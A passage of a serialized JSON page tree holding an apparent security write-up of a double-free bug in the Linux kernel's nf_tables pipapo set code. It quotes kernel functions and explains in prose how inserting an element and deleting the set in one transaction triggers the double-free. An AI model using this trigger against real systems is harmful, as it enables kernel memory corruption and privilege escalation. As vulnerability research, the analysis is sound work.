continue",{"type":23,"tag":41,"props":51488,"children":51489},{"style":70},[51490],{"type":28,"value":183},{"type":23,"tag":41,"props":51492,"children":51493},{"class":43,"line":1084},[51494],{"type":23,"tag":41,"props":51495,"children":51496},{"emptyLinePlaceholder":18},[51497],{"type":28,"value":82},{"type":23,"tag":41,"props":51499,"children":51500},{"class":43,"line":1102},[51501,51506,51510,51514,51518,51522,51526,51530],{"type":23,"tag":41,"props":51502,"children":51503},{"style":70},[51504],{"type":28,"value":51505},"  e ",{"type":23,"tag":41,"props":51507,"children":51508},{"style":170},[51509],{"type":28,"value":2381},{"type":23,"tag":41,"props":51511,"children":51512},{"style":858},[51513],{"type":28,"value":32964},{"type":23,"tag":41,"props":51515,"children":51516},{"style":70},[51517],{"type":28,"value":2453},{"type":23,"tag":41,"props":51519,"children":51520},{"style":858},[51521],{"type":28,"value":51427},{"type":23,"tag":41,"props":51523,"children":51524},{"style":70},[51525],{"type":28,"value":51470},{"type":23,"tag":41,"props":51527,"children":51528},{"style":858},[51529],{"type":28,"value":51449},{"type":23,"tag":41,"props":51531,"children":51532},{"style":70},[51533],{"type":28,"value":183},{"type":23,"tag":41,"props":51535,"children":51536},{"class":43,"line":1110},[51537],{"type":23,"tag":41,"props":51538,"children":51539},{"emptyLinePlaceholder":18},[51540],{"type":28,"value":82},{"type":23,"tag":41,"props":51542,"children":51543},{"class":43,"line":1118},[51544,51549,51554,51558,51562,51566,51571],{"type":23,"tag":41,"props":51545,"children":51546},{"style":114},[51547],{"type":28,"value":51548},"  nf_tables_set_elem_destroy",{"type":23,"tag":41,"props":51550,"children":51551},{"style":70},[51552],{"type":28,"value":51553},"(ctx, set, ",{"type":23,"tag":41,"props":51555,"children":51556},{"style":170},[51557],{"type":28,"value":855},{"type":23,"tag":41,"props":51559,"children":51560},{"style":858},[51561],{"type":28,"value":51449},{"type":23,"tag":41,"props":51563,"children":51564},{"style":70},[51565],{"type":28,"value":2453},{"type":23,"tag":41,"props":51567,"children":51568},{"style":858},[51569],{"type":28,"value":51570},"priv",{"type":23,"tag":41,"props":51572,"children":51573},{"style":70},[51574],{"type":28,"value":3825},{"type":23,"tag":41,"props":51576,"children":51577},{"class":43,"line":1137},[51578],{"type":23,"tag":41,"props":51579,"children":51580},{"style":70},[51581],{"type":28,"value":9594},{"type":23,"tag":41,"props":51583,"children":51584},{"class":43,"line":1163},[51585],{"type":23,"tag":41,"props":51586,"children":51587},{"style":70},[51588],{"type":28,"value":201},{"type":23,"tag":24,"props":51590,"children":51591},{},[51592,51594,51600,51602,51607],{"type":28,"value":51593},"Which will then ",{"type":23,"tag":37,"props":51595,"children":51597},{"className":51596},[],[51598],{"type":28,"value":51599},"kfree()",{"type":28,"value":51601}," the ",{"type":23,"tag":37,"props":51603,"children":51605},{"className":51604},[],[51606],{"type":28,"value":51006},{"type":28,"value":706},{"type":23,"tag":31,"props":51609,"children":51611},{"className":16503,"code":51610,"language":3146,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n    const struct nft_set *set,\n    const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n  nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[51612],{"type":23,"tag":37,"props":51613,"children":51614},{"__ignoreMap":7},[51615,51656,51684,51713,51720,51755,51762,51783,51806,51813,51826],{"type":23,"tag":41,"props":51616,"children":51617},{"class":43,"line":44},[51618,51623,51628,51632,51636,51640,51644,51648,51652],{"type":23,"tag":41,"props":51619,"children":51620},{"style":64},[51621],{"type":28,"value":51622},"void",{"type":23,"tag":41,"props":51624,"children":51625},{"style":114},[51626],{"type":28,"value":51627}," nf_tables_set_elem_destroy",{"type":23,"tag":41,"props":51629,"children":51630},{"style":70},[51631],{"type":28,"value":1737},{"type":23,"tag":41,"props":51633,"children":51634},{"style":64},[51635],{"type":28,"value":846},{"type":23,"tag":41,"props":51637,"children":51638},{"style":64},[51639],{"type":28,"value":21138},{"type":23,"tag":41,"props":51641,"children":51642},{"style":70},[51643],{"type":28,"value":51066},{"type":23,"tag":41,"props":51645,"children":51646},{"style":170},[51647],{"type":28,"value":377},{"type":23,"tag":41,"props":51649,"children":51650},{"style":858},[51651],{"type":28,"value":20269},{"type":23,"tag":41,"props":51653,"children":51654},{"style":70},[51655],{"type":28,"value":3506},{"type":23,"tag":41,"props":51657,"children":51658},{"class":43,"line":54},[51659,51664,51668,51672,51676,51680],{"type":23,"tag":41,"props":51660,"children":51661},{"style":64},[51662],{"type":28,"value":51663},"    const",{"type":23,"tag":41,"props":51665,"children":51666},{"style":64},[51667],{"type":28,"value":21138},{"type":23,"tag":41,"props":51669,"children":51670},{"style":70},[51671],{"type":28,"value":51094},{"type":23,"tag":41,"props":51673,"children":51674},{"style":170},[51675],{"type":28,"value":377},{"type":23,"tag":41,"props":51677,"children":51678},{"style":858},[51679],{"type":28,"value":51014},{"type":23,"tag":41,"props":51681,"children":51682},{"style":70},[51683],{"type":28,"value":3506},{"type":23,"tag":41,"props":51685,"children":51686},{"class":43,"line":76},[51687,51691,51695,51700,51704,51709],{"type":23,"tag":41,"props":51688,"children":51689},{"style":64},[51690],{"type":28,"value":51663},{"type":23,"tag":41,"props":51692,"children":51693},{"style":64},[51694],{"type":28,"value":21138},{"type":23,"tag":41,"props":51696,"children":51697},{"style":70},[51698],{"type":28,"value":51699}," nft_elem_priv ",{"type":23,"tag":41,"props":51701,"children":51702},{"style":170},[51703],{"type":28,"value":377},{"type":23,"tag":41,"props":51705,"children":51706},{"style":858},[51707],{"type":28,"value":51708},"elem_priv",{"type":23,"tag":41,"props":51710,"children":51711},{"style":70},[51712],{"type":28,"value":1969},{"type":23,"tag":41,"props":51714,"children":51715},{"class":43,"line":85},[51716],{"type":23,"tag":41,"props":51717,"children":51718},{"style":70},[51719],{"type":28,"value":1559},{"type":23,"tag":41,"props":51721,"children":51722},{"class":43,"line":105},[51723,51727,51732,51736,51741,51745,51750],{"type":23,"tag":41,"props":51724,"children":51725},{"style":64},[51726],{"type":28,"value":21138},{"type":23,"tag":41,"props":51728,"children":51729},{"style":70},[51730],{"type":28,"value":51731}," nft_set_ext ",{"type":23,"tag":41,"props":51733,"children":51734},{"style":170},[51735],{"type":28,"value":377},{"type":23,"tag":41,"props":51737,"children":51738},{"style":70},[51739],{"type":28,"value":51740},"ext ",{"type":23,"tag":41,"props":51742,"children":51743},{"style":170},[51744],{"type":28,"value":2381},{"type":23,"tag":41,"props":51746,"children":51747},{"style":114},[51748],{"type":28,"value":51749}," nft_set_elem_ext",{"type":23,"tag":41,"props":51751,"children":51752},{"style":70},[51753],{"type":28,"value":51754},"(set, elem_priv);\n",{"type":23,"tag":41,"props":51756,"children":51757},{"class":43,"line":155},[51758],{"type":23,"tag":41,"props":51759,"children":51760},{"emptyLinePlaceholder":18},[51761],{"type":28,"value":82},{"type":23,"tag":41,"props":51763,"children":51764},{"class":43,"line":186},[51765,51769,51773,51778],{"type":23,"tag":41,"props":51766,"children":51767},{"style":58},[51768],{"type":28,"value":2536},{"type":23,"tag":41,"props":51770,"children":51771},{"style":70},[51772],{"type":28,"value":142},{"type":23,"tag":41,"props":51774,"children":51775},{"style":114},[51776],{"type":28,"value":51777},"nft_set_ext_exists",{"type":23,"tag":41,"props":51779,"children":51780},{"style":70},[51781],{"type":28,"value":51782},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":23,"tag":41,"props":51784,"children":51785},{"class":43,"line":195},[51786,51791,51796,51801],{"type":23,"tag":41,"props":51787,"children":51788},{"style":114},[51789],{"type":28,"value":51790},"  nft_set_elem_expr_destroy",{"type":23,"tag":41,"props":51792,"children":51793},{"style":70},[51794],{"type":28,"value":51795},"(ctx, ",{"type":23,"tag":41,"props":51797,"children":51798},{"style":114},[51799],{"type":28,"value":51800},"nft_set_ext_expr",{"type":23,"tag":41,"props":51802,"children":51803},{"style":70},[51804],{"type":28,"value":51805},"(ext));\n",{"type":23,"tag":41,"props":51807,"children":51808},{"class":43,"line":905},[51809],{"type":23,"tag":41,"props":51810,"children":51811},{"emptyLinePlaceholder":18},[51812],{"type":28,"value":82},{"type":23,"tag":41,"props":51814,"children":51815},{"class":43,"line":922},[51816,51821],{"type":23,"tag":41,"props":51817,"children":51818},{"style":114},[51819],{"type":28,"value":51820}," kfree",{"type":23,"tag":41,"props":51822,"children":51823},{"style":70},[51824],{"type":28,"value":51825},"(elem_priv);\n",{"type":23,"tag":41,"props":51827,"children":51828},{"class":43,"line":930},[51829],{"type":23,"tag":41,"props":51830,"children":51831},{"style":70},[51832],{"type":28,"value":201},{"type":23,"tag":24,"props":51834,"children":51835},{},[51836,51837,51843,51845,51850,51852,51857,51859,51864,51865,51870,51872,51877,51879,51884,51886,51891],{"type":28,"value":16601},{"type":23,"tag":37,"props":51838,"children":51840},{"className":51839},[],[51841],{"type":28,"value":51842},"nft_pipapo_match",{"type":28,"value":51844}," objects contain views of the ",{"type":23,"tag":37,"props":51846,"children":51848},{"className":51847},[],[51849],{"type":28,"value":51006},{"type":28,"value":51851},"'s of a ",{"type":23,"tag":37,"props":51853,"children":51855},{"className":51854},[],[51856],{"type":28,"value":51014},{"type":28,"value":51858},". The difference between the ",{"type":23,"tag":37,"props":51860,"children":51862},{"className":51861},[],[51863],{"type":28,"value":50991},{"type":28,"value":1361},{"type":23,"tag":37,"props":51866,"children":51868},{"className":51867},[],[51869],{"type":28,"value":50975},{"type":28,"value":51871}," match objects is that the clone has a view of not only already committed ",{"type":23,"tag":37,"props":51873,"children":51875},{"className":51874},[],[51876],{"type":28,"value":51006},{"type":28,"value":51878},"'s that the \"normal\" one has but also a view of the ",{"type":23,"tag":37,"props":51880,"children":51882},{"className":51881},[],[51883],{"type":28,"value":51006},{"type":28,"value":51885},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":23,"tag":37,"props":51887,"children":51889},{"className":51888},[],[51890],{"type":28,"value":50991},{"type":28,"value":706},{"type":23,"tag":546,"props":51893,"children":51895},{"id":51894},"root-cause-analysis",[51896],{"type":28,"value":51897},"Root-cause analysis",{"type":23,"tag":24,"props":51899,"children":51900},{},[51901,51903,51909,51911,51916],{"type":28,"value":51902},"So ",{"type":23,"tag":37,"props":51904,"children":51906},{"className":51905},[],[51907],{"type":28,"value":51908},"nf_tables_set_elem_destroy",{"type":28,"value":51910}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":23,"tag":37,"props":51912,"children":51914},{"className":51913},[],[51915],{"type":28,"value":51006},{"type":28,"value":51917},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":23,"tag":24,"props":51919,"children":51920},{},[51921,51923,51928,51930,51935,51937,51942,51944,51949,51951,51956],{"type":28,"value":51922},"We should now try to understand how to reach that path with the ",{"type":23,"tag":37,"props":51924,"children":51926},{"className":51925},[],[51927],{"type":28,"value":50968},{"type":28,"value":51929}," flag set, which is a member of the private data of a pipapo ",{"type":23,"tag":37,"props":51931,"children":51933},{"className":51932},[],[51934],{"type":28,"value":51006},{"type":28,"value":51936}," that becomes true whenever a change is made to the ",{"type":23,"tag":37,"props":51938,"children":51940},{"className":51939},[],[51941],{"type":28,"value":51014},{"type":28,"value":51943}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":23,"tag":37,"props":51945,"children":51947},{"className":51946},[],[51948],{"type":28,"value":51014},{"type":28,"value":51950}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":23,"tag":37,"props":51952,"children":51954},{"className":51953},[],[51955],{"type":28,"value":51014},{"type":28,"value":51957}," dirty by inserting a new element.",{"type":23,"tag":31,"props":51959,"children":51961},{"className":16503,"code":51960,"language":3146,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n        const struct nft_set_elem *elem,\n        struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[51962],{"type":23,"tag":37,"props":51963,"children":51964},{"__ignoreMap":7},[51965,52035,52064,52089,52096,52103,52132,52139],{"type":23,"tag":41,"props":51966,"children":51967},{"class":43,"line":44},[51968,51972,51976,51981,51985,51989,51993,51998,52002,52007,52011,52015,52019,52023,52027,52031],{"type":23,"tag":41,"props":51969,"children":51970},{"style":64},[51971],{"type":28,"value":51039},{"type":23,"tag":41,"props":51973,"children":51974},{"style":64},[51975],{"type":28,"value":51168},{"type":23,"tag":41,"props":51977,"children":51978},{"style":114},[51979],{"type":28,"value":51980}," nft_pipapo_insert",{"type":23,"tag":41,"props":51982,"children":51983},{"style":70},[51984],{"type":28,"value":1737},{"type":23,"tag":41,"props":51986,"children":51987},{"style":64},[51988],{"type":28,"value":846},{"type":23,"tag":41,"props":51990,"children":51991},{"style":64},[51992],{"type":28,"value":21138},{"type":23,"tag":41,"props":51994,"children":51995},{"style":70},[51996],{"type":28,"value":51997}," net ",{"type":23,"tag":41,"props":51999,"children":52000},{"style":170},[52001],{"type":28,"value":377},{"type":23,"tag":41,"props":52003,"children":52004},{"style":858},[52005],{"type":28,"value":52006},"net",{"type":23,"tag":41,"props":52008,"children":52009},{"style":70},[52010],{"type":28,"value":970},{"type":23,"tag":41,"props":52012,"children":52013},{"style":64},[52014],{"type":28,"value":846},{"type":23,"tag":41,"props":52016,"children":52017},{"style":64},[52018],{"type":28,"value":21138},{"type":23,"tag":41,"props":52020,"children":52021},{"style":70},[52022],{"type":28,"value":51094},{"type":23,"tag":41,"props":52024,"children":52025},{"style":170},[52026],{"type":28,"value":377},{"type":23,"tag":41,"props":52028,"children":52029},{"style":858},[52030],{"type":28,"value":51014},{"type":23,"tag":41,"props":52032,"children":52033},{"style":70},[52034],{"type":28,"value":3506},{"type":23,"tag":41,"props":52036,"children":52037},{"class":43,"line":54},[52038,52042,52046,52051,52055,52060],{"type":23,"tag":41,"props":52039,"children":52040},{"style":64},[52041],{"type":28,"value":32894},{"type":23,"tag":41,"props":52043,"children":52044},{"style":64},[52045],{"type":28,"value":21138},{"type":23,"tag":41,"props":52047,"children":52048},{"style":70},[52049],{"type":28,"value":52050}," nft_set_elem ",{"type":23,"tag":41,"props":52052,"children":52053},{"style":170},[52054],{"type":28,"value":377},{"type":23,"tag":41,"props":52056,"children":52057},{"style":858},[52058],{"type":28,"value":52059},"elem",{"type":23,"tag":41,"props":52061,"children":52062},{"style":70},[52063],{"type":28,"value":3506},{"type":23,"tag":41,"props":52065,"children":52066},{"class":43,"line":76},[52067,52072,52076,52081,52085],{"type":23,"tag":41,"props":52068,"children":52069},{"style":64},[52070],{"type":28,"value":52071},"        struct",{"type":23,"tag":41,"props":52073,"children":52074},{"style":70},[52075],{"type":28,"value":51699},{"type":23,"tag":41,"props":52077,"children":52078},{"style":170},[52079],{"type":28,"value":52080},"**",{"type":23,"tag":41,"props":52082,"children":52083},{"style":858},[52084],{"type":28,"value":51708},{"type":23,"tag":41,"props":52086,"children":52087},{"style":70},[52088],{"type":28,"value":1969},{"type":23,"tag":41,"props":52090,"children":52091},{"class":43,"line":85},[52092],{"type":23,"tag":41,"props":52093,"children":52094},{"style":70},[52095],{"type":28,"value":1559},{"type":23,"tag":41,"props":52097,"children":52098},{"class":43,"line":105},[52099],{"type":23,"tag":41,"props":52100,"children":52101},{"style":70},[52102],{"type":28,"value":10316},{"type":23,"tag":41,"props":52104,"children":52105},{"class":43,"line":155},[52106,52111,52115,52120,52124,52128],{"type":23,"tag":41,"props":52107,"children":52108},{"style":858},[52109],{"type":28,"value":52110}," priv",{"type":23,"tag":41,"props":52112,"children":52113},{"style":70},[52114],{"type":28,"value":2453},{"type":23,"tag":41,"props":52116,"children":52117},{"style":858},[52118],{"type":28,"value":52119},"dirty",{"type":23,"tag":41,"props":52121,"children":52122},{"style":170},[52123],{"type":28,"value":3017},{"type":23,"tag":41,"props":52125,"children":52126},{"style":64},[52127],{"type":28,"value":915},{"type":23,"tag":41,"props":52129,"children":52130},{"style":70},[52131],{"type":28,"value":183},{"type":23,"tag":41,"props":52133,"children":52134},{"class":43,"line":186},[52135],{"type":23,"tag":41,"props":52136,"children":52137},{"style":70},[52138],{"type":28,"value":10316},{"type":23,"tag":41,"props":52140,"children":52141},{"class":43,"line":195},[52142],{"type":23,"tag":41,"props":52143,"children":52144},{"style":70},[52145],{"type":28,"value":201},{"type":23,"tag":24,"props":52147,"children":52148},{},[52149],{"type":28,"value":52150},"We also see that when the changes are commited, this flag is then unset.",{"type":23,"tag":31,"props":52152,"children":52154},{"className":16503,"code":52153,"language":3146,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n  return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[52155],{"type":23,"tag":37,"props":52156,"children":52157},{"__ignoreMap":7},[52158,52198,52205,52212,52243,52254,52261,52288,52295],{"type":23,"tag":41,"props":52159,"children":52160},{"class":43,"line":44},[52161,52165,52169,52174,52178,52182,52186,52190,52194],{"type":23,"tag":41,"props":52162,"children":52163},{"style":64},[52164],{"type":28,"value":51039},{"type":23,"tag":41,"props":52166,"children":52167},{"style":64},[52168],{"type":28,"value":51044},{"type":23,"tag":41,"props":52170,"children":52171},{"style":114},[52172],{"type":28,"value":52173}," nft_pipapo_commit",{"type":23,"tag":41,"props":52175,"children":52176},{"style":70},[52177],{"type":28,"value":1737},{"type":23,"tag":41,"props":52179,"children":52180},{"style":64},[52181],{"type":28,"value":9399},{"type":23,"tag":41,"props":52183,"children":52184},{"style":70},[52185],{"type":28,"value":51094},{"type":23,"tag":41,"props":52187,"children":52188},{"style":170},[52189],{"type":28,"value":377},{"type":23,"tag":41,"props":52191,"children":52192},{"style":858},[52193],{"type":28,"value":51014},{"type":23,"tag":41,"props":52195,"children":52196},{"style":70},[52197],{"type":28,"value":1969},{"type":23,"tag":41,"props":52199,"children":52200},{"class":43,"line":54},[52201],{"type":23,"tag":41,"props":52202,"children":52203},{"style":70},[52204],{"type":28,"value":1559},{"type":23,"tag":41,"props":52206,"children":52207},{"class":43,"line":76},[52208],{"type":23,"tag":41,"props":52209,"children":52210},{"style":70},[52211],{"type":28,"value":10316},{"type":23,"tag":41,"props":52213,"children":52214},{"class":43,"line":85},[52215,52219,52223,52227,52231,52235,52239],{"type":23,"tag":41,"props":52216,"children":52217},{"style":58},[52218],{"type":28,"value":2536},{"type":23,"tag":41,"props":52220,"children":52221},{"style":70},[52222],{"type":28,"value":142},{"type":23,"tag":41,"props":52224,"children":52225},{"style":170},[52226],{"type":28,"value":2630},{"type":23,"tag":41,"props":52228,"children":52229},{"style":858},[52230],{"type":28,"value":51570},{"type":23,"tag":41,"props":52232,"children":52233},{"style":70},[52234],{"type":28,"value":2453},{"type":23,"tag":41,"props":52236,"children":52237},{"style":858},[52238],{"type":28,"value":52119},{"type":23,"tag":41,"props":52240,"children":52241},{"style":70},[52242],{"type":28,"value":1969},{"type":23,"tag":41,"props":52244,"children":52245},{"class":43,"line":105},[52246,52250],{"type":23,"tag":41,"props":52247,"children":52248},{"style":58},[52249],{"type":28,"value":39191},{"type":23,"tag":41,"props":52251,"children":52252},{"style":70},[52253],{"type":28,"value":183},{"type":23,"tag":41,"props":52255,"children":52256},{"class":43,"line":155},[52257],{"type":23,"tag":41,"props":52258,"children":52259},{"style":70},[52260],{"type":28,"value":10316},{"type":23,"tag":41,"props":52262,"children":52263},{"class":43,"line":186},[52264,52268,52272,52276,52280,52284],{"type":23,"tag":41,"props":52265,"children":52266},{"style":858},[52267],{"type":28,"value":52110},{"type":23,"tag":41,"props":52269,"children":52270},{"style":70},[52271],{"type":28,"value":2453},{"type":23,"tag":41,"props":52273,"children":52274},{"style":858},[52275],{"type":28,"value":52119},{"type":23,"tag":41,"props":52277,"children":52278},{"style":170},[52279],{"type":28,"value":3017},{"type":23,"tag":41,"props":52281,"children":52282},{"style":64},[52283],{"type":28,"value":1095},{"type":23,"tag":41,"props":52285,"children":52286},{"style":70},[52287],{"type":28,"value":183},{"type":23,"tag":41,"props":52289,"children":52290},{"class":43,"line":195},[52291],{"type":23,"tag":41,"props":52292,"children":52293},{"style":70},[52294],{"type":28,"value":10316},{"type":23,"tag":41,"props":52296,"children":52297},{"class":43,"line":905},[52298],{"type":23,"tag":41,"props":52299,"children":52300},{"style":70},[52301],{"type":28,"value":201},{"type":23,"tag":24,"props":52303,"children":52304},{},[52305,52307,52312,52314,52319,52321,52326,52328,52333,52335,52341,52343,52349,52351,52356],{"type":28,"value":52306},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":23,"tag":37,"props":52308,"children":52310},{"className":52309},[],[52311],{"type":28,"value":51006},{"type":28,"value":52313}," in the ",{"type":23,"tag":37,"props":52315,"children":52317},{"className":52316},[],[52318],{"type":28,"value":51014},{"type":28,"value":52320}," to make it dirty and then delete the ",{"type":23,"tag":37,"props":52322,"children":52324},{"className":52323},[],[52325],{"type":28,"value":51014},{"type":28,"value":52327},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":23,"tag":37,"props":52329,"children":52331},{"className":52330},[],[52332],{"type":28,"value":51014},{"type":28,"value":52334},"'s ",{"type":23,"tag":37,"props":52336,"children":52338},{"className":52337},[],[52339],{"type":28,"value":52340},"->commit()",{"type":28,"value":52342}," method is executed before its ",{"type":23,"tag":37,"props":52344,"children":52346},{"className":52345},[],[52347],{"type":28,"value":52348},"->destroy()",{"type":28,"value":52350}," method, then the ",{"type":23,"tag":37,"props":52352,"children":52354},{"className":52353},[],[52355],{"type":28,"value":52119},{"type":28,"value":52357}," flag will be unset, and we won't be able to trigger the double-free.",{"type":23,"tag":24,"props":52359,"children":52360},{},[52361],{"type":28,"value":52362},"Let's once again refer to the code and see how these methods are called.",{"type":23,"tag":31,"props":52364,"children":52366},{"className":16503,"code":52365,"language":3146,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n  case NFT_MSG_DELSET:\n  case NFT_MSG_DESTROYSET: // [1]\n   nft_trans_set(trans)->dead = 1; // [2]\n   list_del_rcu(&nft_trans_set(trans)->list);\n   nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n          trans->msg_type, GFP_KERNEL);\n   break;\n  case NFT_MSG_NEWSETELEM: // [3]\n[...]\n   if (te->set->ops->commit &&\n       list_empty(&te->set->pending_update)) {\n    list_add_tail(&te->set->pending_update,\n           &set_update_list);\n   }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[52367],{"type":23,"tag":37,"props":52368,"children":52369},{"__ignoreMap":7},[52370,52432,52439,52446,52454,52467,52502,52536,52578,52600,52612,52625,52632,52680,52721,52761,52774,52781,52788,52795,52802,52827,52834,52847,52854,52870],{"type":23,"tag":41,"props":52371,"children":52372},{"class":43,"line":44},[52373,52377,52381,52386,52390,52394,52398,52402,52406,52410,52414,52419,52423,52428],{"type":23,"tag":41,"props":52374,"children":52375},{"style":64},[52376],{"type":28,"value":51039},{"type":23,"tag":41,"props":52378,"children":52379},{"style":64},[52380],{"type":28,"value":51168},{"type":23,"tag":41,"props":52382,"children":52383},{"style":114},[52384],{"type":28,"value":52385}," nf_tables_commit",{"type":23,"tag":41,"props":52387,"children":52388},{"style":70},[52389],{"type":28,"value":1737},{"type":23,"tag":41,"props":52391,"children":52392},{"style":64},[52393],{"type":28,"value":9399},{"type":23,"tag":41,"props":52395,"children":52396},{"style":70},[52397],{"type":28,"value":51997},{"type":23,"tag":41,"props":52399,"children":52400},{"style":170},[52401],{"type":28,"value":377},{"type":23,"tag":41,"props":52403,"children":52404},{"style":858},[52405],{"type":28,"value":52006},{"type":23,"tag":41,"props":52407,"children":52408},{"style":70},[52409],{"type":28,"value":970},{"type":23,"tag":41,"props":52411,"children":52412},{"style":64},[52413],{"type":28,"value":9399},{"type":23,"tag":41,"props":52415,"children":52416},{"style":70},[52417],{"type":28,"value":52418}," sk_buff ",{"type":23,"tag":41,"props":52420,"children":52421},{"style":170},[52422],{"type":28,"value":377},{"type":23,"tag":41,"props":52424,"children":52425},{"style":858},[52426],{"type":28,"value":52427},"skb",{"type":23,"tag":41,"props":52429,"children":52430},{"style":70},[52431],{"type":28,"value":1969},{"type":23,"tag":41,"props":52433,"children":52434},{"class":43,"line":54},[52435],{"type":23,"tag":41,"props":52436,"children":52437},{"style":70},[52438],{"type":28,"value":1559},{"type":23,"tag":41,"props":52440,"children":52441},{"class":43,"line":76},[52442],{"type":23,"tag":41,"props":52443,"children":52444},{"style":70},[52445],{"type":28,"value":10316},{"type":23,"tag":41,"props":52447,"children":52448},{"class":43,"line":85},[52449],{"type":23,"tag":41,"props":52450,"children":52451},{"style":70},[52452],{"type":28,"value":52453},"  case NFT_MSG_DELSET:\n",{"type":23,"tag":41,"props":52455,"children":52456},{"class":43,"line":105},[52457,52462],{"type":23,"tag":41,"props":52458,"children":52459},{"style":70},[52460],{"type":28,"value":52461},"  case NFT_MSG_DESTROYSET:",{"type":23,"tag":41,"props":52463,"children":52464},{"style":48},[52465],{"type":28,"value":52466}," // [1]\n",{"type":23,"tag":41,"props":52468,"children":52469},{"class":43,"line":155},[52470,52475,52480,52485,52489,52493,52497],{"type":23,"tag":41,"props":52471,"children":52472},{"style":114},[52473],{"type":28,"value":52474},"   nft_trans_set",{"type":23,"tag":41,"props":52476,"children":52477},{"style":70},[52478],{"type":28,"value":52479},"(trans)->",{"type":23,"tag":41,"props":52481,"children":52482},{"style":858},[52483],{"type":28,"value":52484},"dead",{"type":23,"tag":41,"props":52486,"children":52487},{"style":170},[52488],{"type":28,"value":3017},{"type":23,"tag":41,"props":52490,"children":52491},{"style":164},[52492],{"type":28,"value":167},{"type":23,"tag":41,"props":52494,"children":52495},{"style":70},[52496],{"type":28,"value":49068},{"type":23,"tag":41,"props":52498,"children":52499},{"style":48},[52500],{"type":28,"value":52501}," // [2]\n",{"type":23,"tag":41,"props":52503,"children":52504},{"class":43,"line":186},[52505,52510,52514,52518,52523,52527,52532],{"type":23,"tag":41,"props":52506,"children":52507},{"style":114},[52508],{"type":28,"value":52509},"   list_del_rcu",{"type":23,"tag":41,"props":52511,"children":52512},{"style":70},[52513],{"type":28,"value":1737},{"type":23,"tag":41,"props":52515,"children":52516},{"style":170},[52517],{"type":28,"value":855},{"type":23,"tag":41,"props":52519,"children":52520},{"style":114},[52521],{"type":28,"value":52522},"nft_trans_set",{"type":23,"tag":41,"props":52524,"children":52525},{"style":70},[52526],{"type":28,"value":52479},{"type":23,"tag":41,"props":52528,"children":52529},{"style":858},[52530],{"type":28,"value":52531},"list",{"type":23,"tag":41,"props":52533,"children":52534},{"style":70},[52535],{"type":28,"value":3825},{"type":23,"tag":41,"props":52537,"children":52538},{"class":43,"line":195},[52539,52544,52548,52552,52557,52561,52565,52569,52573],{"type":23,"tag":41,"props":52540,"children":52541},{"style":114},[52542],{"type":28,"value":52543},"   nf_tables_set_notify",{"type":23,"tag":41,"props":52545,"children":52546},{"style":70},[52547],{"type":28,"value":1737},{"type":23,"tag":41,"props":52549,"children":52550},{"style":170},[52551],{"type":28,"value":855},{"type":23,"tag":41,"props":52553,"children":52554},{"style":858},[52555],{"type":28,"value":52556},"trans",{"type":23,"tag":41,"props":52558,"children":52559},{"style":70},[52560],{"type":28,"value":2453},{"type":23,"tag":41,"props":52562,"children":52563},{"style":858},[52564],{"type":28,"value":20269},{"type":23,"tag":41,"props":52566,"children":52567},{"style":70},[52568],{"type":28,"value":970},{"type":23,"tag":41,"props":52570,"children":52571},{"style":114},[52572],{"type":28,"value":52522},{"type":23,"tag":41,"props":52574,"children":52575},{"style":70},[52576],{"type":28,"value":52577},"(trans),\n",{"type":23,"tag":41,"props":52579,"children":52580},{"class":43,"line":905},[52581,52586,52590,52595],{"type":23,"tag":41,"props":52582,"children":52583},{"style":858},[52584],{"type":28,"value":52585},"          trans",{"type":23,"tag":41,"props":52587,"children":52588},{"style":70},[52589],{"type":28,"value":2453},{"type":23,"tag":41,"props":52591,"children":52592},{"style":858},[52593],{"type":28,"value":52594},"msg_type",{"type":23,"tag":41,"props":52596,"children":52597},{"style":70},[52598],{"type":28,"value":52599},", GFP_KERNEL);\n",{"type":23,"tag":41,"props":52601,"children":52602},{"class":43,"line":922},[52603,52608],{"type":23,"tag":41,"props":52604,"children":52605},{"style":58},[52606],{"type":28,"value":52607},"   break",{"type":23,"tag":41,"props":52609,"children":52610},{"style":70},[52611],{"type":28,"value":183},{"type":23,"tag":41,"props":52613,"children":52614},{"class":43,"line":930},[52615,52620],{"type":23,"tag":41,"props":52616,"children":52617},{"style":70},[52618],{"type":28,"value":52619},"  case NFT_MSG_NEWSETELEM:",{"type":23,"tag":41,"props":52621,"children":52622},{"style":48},[52623],{"type":28,"value":52624}," // [3]\n",{"type":23,"tag":41,"props":52626,"children":52627},{"class":43,"line":939},[52628],{"type":23,"tag":41,"props":52629,"children":52630},{"style":70},[52631],{"type":28,"value":10316},{"type":23,"tag":41,"props":52633,"children":52634},{"class":43,"line":947},[52635,52640,52644,52649,52653,52657,52661,52666,52670,52675],{"type":23,"tag":41,"props":52636,"children":52637},{"style":58},[52638],{"type":28,"value":52639},"   